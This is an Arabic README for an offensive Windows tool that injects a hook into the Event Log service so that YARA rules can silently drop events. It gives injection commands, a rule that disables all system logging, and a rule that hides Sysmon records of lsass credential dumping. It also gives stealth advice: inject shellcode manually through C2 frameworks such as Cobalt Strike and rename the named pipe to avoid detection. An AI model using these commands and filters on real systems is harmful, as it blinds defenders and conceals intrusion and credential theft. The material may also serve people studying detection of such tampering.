
تطبيق مرشح على الأحداث التي يتم الإبلاغ عنها بواسطة تسجيل أحداث ويندوز.
هذه أداة تسمح لك باستخدام YARA بشكل هجومي لتطبيق مرشح على الأحداث التي يتم الإبلاغ عنها بواسطة تسجيل أحداث ويندوز.
احصل على أحدث إصدار من هنا. يحتوي EvtMuteHook.dll على الوظائف الأساسية، بمجرد حقنه سيُطبق مرشحًا مؤقتًا يسمح بالإبلاغ عن جميع الأحداث، ويمكن تحديث هذا المرشح ديناميكيًا دون الحاجة إلى إعادة الحقن. لقد كتبت SharpEvtMute.exe وهو تجميع C# يمكن تشغيله بسهولة عبر execute في shad0w أو execute-assembly في cobalt strike. سأقوم بكتابة نسخة أصلية بلغة C لتكامل أفضل مع shad0w.
حالة استخدام بسيطة هي تعطيل تسجيل الأحداث على مستوى النظام. للقيام بذلك يمكننا استخدام قاعدة yara التالية.
rule disable { condition: true }
سنحتاج إلى البدء بحقن الخطاف في خدمة الأحداث.
.\SharpEvtMute.exe --Inject

الآن بعد وضع الخطاف يمكننا إضافة المرشح.
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"

الآن سيتم إسقاط جميع الأحداث بواسطة خدمة الأحداث.
يمكن تغيير المرشحات ديناميكيًا دون الحاجة إلى إعادة حقن الخطاف. هذا يجعل تحديث المرشح النشط سريعًا وسهلاً.
مثال على مرشح أكثر تعقيدًا هو هذا. إنه قادر على حظر الأحداث المتعلقة بتفريغ ذاكرة lsass من الإبلاغ عنها بواسطة sysmon.
rule block_lsass_dump {
meta:
author = "@_batsec_"
description = "Prevent lsass dumping being reported by sysmon"
strings:
$provider = "Microsoft-Windows-Sysmon"
$image = "lsass.exe" nocase
$access = "GrantedAccess"
$type = "0x1fffff"
condition:
all of them
}
مع قاعدة معقدة مثل هذه، يصبح من الصعب جدًا تكثيفها في سطر واحد. لهذا أضفت القدرة على إعطاء قواعد مشفرة بـ base64.
يمكن تحويل القاعدة بسهولة إلى base64 من سطر الأوامر في لينكس.
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
ثم باستخدام العلم --Encoded يمكننا تمريرها كمرشح.

عند حقن الخطاف، سيقوم SharpEvtMute.exe باستدعاء CreateRemoteThread ويتم هذا الاستدعاء قبل وضع الخطاف لذا سيتم الإبلاغ عنه بواسطة Sysmon. وذلك لأن ميزة الحقن في SharpEvtMute.exe يجب استخدامها فقط كإثبات مفهوم. أوصي بحقن EvtMuteHook.dll يدويًا في خدمة تسجيل الأحداث عندما تكون التخفي مهمًا.
يمكن العثور على معرفه بتشغيل SharpEvtMute.exe --Pid. يمكن وضع الخطاف عن طريق حقن الشيل كود يدويًا (تشغيل make في EvtMuteBin) عبر إطار عمل C2 الذي تختاره، مثل shinject في shad0w.
من الجدير بالذكر أيضًا أن الخطاف سيستخدم أنبوبًا مسمىًا لتحديث المرشحات. يُسمى الأنبوب المسمى EvtMuteHook_Rule_Pipe (يمكن تغيير هذا الاسم بسهولة). هناك قاعدة مضمنة في الخطاف لضمان إسقاط أي أحداث تتضمن هذا الاسم تلقائيًا، لكن لا يزال وجوده يستمع يعتبر مؤشرًا على الاختراق، لذا أوصي بتغييره.
إذا قمت بإنشاء بعض المرشحات المفيدة، فلا تتردد في تقديم طلب سحب إلى دليل YaraFilters. سيكون من الرائع وجود مجموعة جيدة من المرشحات لإخفاء الإجراءات الشائعة التي يمكن للجميع الاستفادة منها.